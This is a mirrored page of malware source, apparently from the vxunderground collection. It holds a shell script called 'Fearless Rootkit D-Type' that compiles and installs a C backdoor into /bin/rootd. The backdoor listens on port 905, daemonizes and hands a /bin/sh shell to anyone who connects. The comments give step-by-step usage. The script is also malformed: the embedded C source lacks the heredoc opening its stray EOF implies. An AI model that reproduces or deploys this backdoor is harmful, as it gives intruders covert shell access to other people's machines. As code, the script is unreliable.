mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
74 lines
2.0 KiB
Bash
74 lines
2.0 KiB
Bash
#!/bin/sh
|
|
|
|
# Fearless Rootkit D-Type v0.1
|
|
# Coded by Merlion
|
|
# Website: http://areyoufearless.com
|
|
|
|
# chmod 755 rootd.sh
|
|
# ./rootd.sh
|
|
# telnet to port 905 & run commands. End each command with a semicolon (;)
|
|
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <unistd.h>
|
|
|
|
void die(char *error);
|
|
main(int argc, char **argv) {
|
|
pid_t pid, sid;
|
|
int len, clipid, serpid, stat, sock, soklen, sockbind, sockrec, sockopt, sockcli, socklen;
|
|
unsigned short int mcon;
|
|
unsigned short int port;
|
|
char *rbuf, *rmode;
|
|
struct sockaddr_in Client, Server;
|
|
if ((sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) die("Error creating socket");
|
|
if (argc != 3) die("Usage");
|
|
memset(&Server, 0, sizeof(Server));
|
|
Server.sin_family=AF_INET;
|
|
port=905;
|
|
mcon=5;
|
|
Server.sin_port=htons(port);
|
|
Server.sin_addr.s_addr=htonl(INADDR_ANY);
|
|
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &sockopt, sizeof(sockopt)) < 0)
|
|
die("No socket options set");
|
|
if (sockbind=bind(sock, (struct sockaddr *) &Server, sizeof(Server)) != 0)
|
|
die("Could not bind socket");
|
|
if ((sockbind=listen(sock, mcon)) != 0) die("Failed on listen()");
|
|
pid=fork();
|
|
if (pid < 0) die("Initial fork() failed");
|
|
if (pid>0) exit(0);
|
|
if ((chdir("/")) < 0) die("Could not set working directory");
|
|
if ((setsid()) < 0) die("setsid() failed in creating daemon");
|
|
umask(0);
|
|
close(STDIN_FILENO);
|
|
close(STDOUT_FILENO);
|
|
close(STDERR_FILENO);
|
|
/* You're on your own, pal.. */
|
|
while(1) {
|
|
socklen=sizeof(Client);
|
|
if ((sockcli=accept(sock, (struct sockaddr *) &Client, &socklen)) < 0) exit(1); /* syslog msg here still */
|
|
clipid=getpid();
|
|
serpid=fork();
|
|
if (serpid > 0)
|
|
waitpid(0, &stat, 0);
|
|
dup2(sockcli, 1);
|
|
execl("/bin/sh","sh",(char *)0); }
|
|
close(sockcli); }
|
|
void die(char *error) {
|
|
fprintf(stderr, "%s\n", error);
|
|
exit(1); }
|
|
|
|
EOF
|
|
|
|
gcc -o /bin/rootd /tmp/rootd.c
|
|
rm -f /tmp/rootd.c
|
|
rootd $port $max
|
|
echo "Rootkit installed at port 905"
|
|
exit 0 |